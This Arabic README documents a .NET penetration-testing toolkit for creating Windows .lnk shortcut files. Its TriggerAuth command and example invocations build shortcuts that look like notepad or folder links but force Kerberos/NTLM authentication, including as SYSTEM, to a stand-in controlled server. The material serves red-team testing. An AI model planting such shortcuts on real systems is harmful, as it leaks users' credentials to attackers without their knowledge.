LnkMeMaybe

مجموعة أدوات مبنية على .NET 8 لإنشاء وتحليل ملفات Windows Shell Link (.lnk). تتضمن أداة بناء عبر سطر الأوامر (LnkMeMaybe) ومحررًا رسوميًا (LnkUi). صُمّمت لأغراض أبحاث الأمن واختبار الاختراق.

المشاريع

سطر الأوامر — LnkMeMaybe

المعاملات المشتركة

تشترك جميع الأوامر في المعاملات الأساسية التالية (من BaseSavedCommand):

TriggerAuth (CVE-2026-25185)

ينشئ ملف .lnk يطلق مصادقة Kerberos (مع التراجع إلى NTLM) إلى خادم محدد. لا يقوم ملف .lnk بتنفيذ أي شيء.

السيناريوهات التي يتم فيها إطلاق المصادقة:

1. يتصفح المستخدم إلى المشاركة التي تحتوي على ملف .lnk — تتم مصادقة حساب المستخدم صادرًا.
2. يوضع ملف .lnk في موقع تم ضبط الجهاز على فهرسته — تقوم SearchProtocolHost بالمصادقة بصفة SYSTEM.
3. MSSense قيد التشغيل والموقع غير مستثنى — يقوم MSSense.exe بالمصادقة بصفة SYSTEM.

المعاملات:

أمثلة:

# إرسال المصادقة إلى \\controlled.example.org\IPC$ مع التظاهر بأنه notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk

# إرسال المصادقة إلى مسار مشاركة محدد مع التظاهر بأنه اختصار مجلد
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk

WebShortcut

ينشئ ملف .lnk يشير إلى عنوان URL على الويب. عادةً ينشئ Windows ملف .url لاختصارات الويب؛ هذا الأمر يُنتج ملف .lnk بدلاً من ذلك.

المعاملات:

مثال:

LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk

LocalShortcut

ينشئ اختصار Windows قياسيًا إلى ملف أو مجلد محلي. يُخزَّن مسار الهدف كقائمة معرّفات عناصر shell (PIDL) — التنسيق الأصلي الذي يستخدمه Windows لاختصارات نظام الملفات.

المعاملات:

أمثلة:

# إنشاء اختصار إلى Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk

# اختصار مع وسائط وأيقونة مخصصة
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe

# اختصار يُفتح بحالة Maximized ويطلب رفع المستوى
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk

EnvShortcut

ينشئ ملف .lnk حيث يُخزَّن مسار الهدف كسلسلة متغير بيئة قابلة للتوسيع (EnvironmentVariableDataBlock). هذا هو التنسيق الذي يستخدمه Windows للاختصارات إلى الملفات التنفيذية للنظام (مثل %SystemRoot%\system32\notepad.exe). يتم توسيع المتغيرات وقت التشغيل، مما يجعل الاختصار قابلًا للنقل عبر تثبيتات Windows المختلفة.

المعاملات:

أمثلة:

# اختصار إلى Notepad باستخدام مسار متغير بيئة
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk

# اختصار إلى تطبيق في ملف تعريف المستخدم مع وسائط
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk

البناء

# بناء (تصحيح الأخطاء)
dotnet build Lnk.sln

# بناء (إصدار نهائي، المشاريع الأساسية فقط)
dotnet build -c Release build.slnf

# تشغيل جميع الاختبارات
dotnet test

# تشغيل فئة اختبار محددة
dotnet test --filter "ClassName=lnkHeader"

# نشر ملف تنفيذي واحد ذاتي الاحتواء (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj

الإصدارات

تتوفر ملفات ثنائية مُجمّعة مسبقًا لأنظمة Windows وLinux وmacOS (x64 وarm64) في صفحة Releases.

يتضمن كل إصدار بنيتين مستقلتين (لا تتطلبان .NET runtime) ومعتمدتين على الإطار (تتطلبان .NET 8 runtime) لكل من LnkMeMaybe وLnkUi.

إفصاح استخدام الذكاء الاصطناعي

استُخدمت أنظمة الذكاء الاصطناعي في المهام التالية:

• مراجعة جودة الكود
• توليد ملف README
• إجراءات عمل GitHub

بخلاف ذلك، فإن الكود الموجود في هذا المستودع قد أُنشئ ورُوجِع بواسطة البشر.